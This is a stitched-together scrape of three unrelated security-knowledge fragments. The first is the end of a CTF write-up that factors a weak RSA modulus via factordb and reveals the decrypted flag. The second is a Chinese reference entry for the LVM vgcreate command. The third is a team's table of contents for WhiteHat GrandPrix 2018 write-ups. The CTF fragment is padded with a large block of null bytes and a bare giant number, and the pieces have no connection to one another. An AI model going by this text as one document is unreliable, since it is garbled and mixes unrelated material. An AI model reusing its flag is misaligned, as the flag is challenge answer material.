41652050045583061587367726587915408078968142390366651618079020766435386452117544063967043760267325540425912446357529248330305514582927255139330918592432254692399242257745730295453875961856 STR : b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00My dear friends of the departement of EEvil\nVaad madmach has managed to decrypt our previous message!\nIn order to keep our messages secure, from now on we'll only send the public key and ciphertext.\nAs such, only the ones with the power of the evil gods (or quantum computers) can decrypt the messages!\nHere a new flag we discovered: cstechnion{Y0u_sh0Uld_p1ck_y0uR_k3y5_w153Ly}, keeps the flags to yourselves and together, when the time comes, we'll destroy vaad madmach!\nMore flags to come.\n\nLong live the EEmpire!" ``` Looks like the tool was able to factorize `n` into `p` and `q` using [factordb](http://www.factordb.com/index.php?query=848769283437755077035548784522516635384103921776544275081677337510057086183733598581454103934679303651652066293006393981078553762703579330005047284676920312044991975559822684502322187646439014378250877000365350352066611956929398507675377843634401913919699083512768346331297579800305741782747141370577756406261222889559035070084401596892784565363546291321440409291888555160756603708498609280645099312282125403116191445419143250907439089250096209451929942676498686820035639670356097807252447021457782197948212850316994384566168289737766223885929092094227280074131444846016882386341256258759616601854877593006389123279278533231406102413202809835392776910534394656929962036250982103324540327262709391071493052844674492910714795803544306869922574456242836258444460262583842448017089784961970914625668833183356104635443435358686061905071798511457144545270384186829606892597743898280501446872903724882901246587702047743253744306560669096349469988927396072700984382532446439350493549001708621787813626638742542944712309592798723052168372028403008517139980256002503562078028577663027548901622982563986674186689207111720124457037521398517572846793217906717539486954010639528547547078995200443699246353004284196851035519373998374153014345881142142904151602166017632356426097724376244830766907081021642864983103443922278461434860152030210020819976428352729337315856083427783334498442442406721395004409895369982825117770823394167599630360467585393316070436941927472805279098392084414145047162470807750814131565607340919365948229373748838368684855416379713139620249577241593307754360478951285876773049061089303875702241503541660628480904964748952489623604192854282458569203777418992497262687038243054408948575792843330047495508252815675035493143221958463561665618446996432453533828618440588907570397412196333577793425409834308188883681650714688108295712991376100787934476457356860584907417898371954850776913843134723152665533970949264514552169121850088187665834762607245050449993023061124685454032404461301597169389133623722130811062770677477071819657993015205087630746088568618773430427892379929116802886494742966272587111228886773113532513577132083353592365810165885685251743240597975859488720024812178422985586475279319909620751005154875199481710519944695799195114138698806546777400270551851297290450811122935196569066575354164738773219324979265041667301297849420503324267264072797922543451857879133711665039939317717907430457381676629949595485556694072896964497106097875523993). From there, it's trivial to decrypt the message. The flag: `cstechnion{Y0u_sh0Uld_p1ck_y0uR_k3y5_w153Ly}`
sec-knowleage
vgcreate === 用于创建LVM卷组 ## 补充说明 **vgcreate命令** 用于创建LVM卷组。卷组(Volume Group)将多个物理卷组织成一个整体,屏蔽了底层物理卷细节。在卷组上创建逻辑卷时不用考虑具体的物理卷信息。 ### 语法 ```shell vgcreate(选项)(参数) ``` ### 选项 ```shell -l:卷组上允许创建的最大逻辑卷数; -p:卷组中允许添加的最大物理卷数; -s:卷组上的物理卷的PE大小。 ``` ### 参数 * 卷组名:要创建的卷组名称; * 物理卷列表:要加入到卷组中的物理卷列表。 ### 实例 使用vgcreate命令创建卷组 "vg1000",并且将物理卷`/dev/sdb1`和`/dev/sdb2`添加到卷组中。在命令行中输入下面的命令: ```shell [root@localhost ~]# vgcreate vg1000 /dev/sdb1 /dev/sdb2 #创建卷组"vg1000" ``` 输出信息如下: ```shell Volume group "vg1000" successfully created ```
sec-knowleage
# WhiteHat GrandPrix 2018 Quals Team: Eternal, pwn.m0d3, nazywam, chivay, rodbert, shalom ### Table of contents * [Web 01 - file upload+ssh](web01) * [Crypto 011 - A5/1](crypto_a51) * [Misc 02](misc02) * [Misc 04 - faces](misc04_faces) * [Re 01](re01) * [Re 04](re04) * [Re 05](re05) * [Re 06](re06) * [Pwn 01](pwn1) * [Pwn 02](pwn02)
sec-knowleage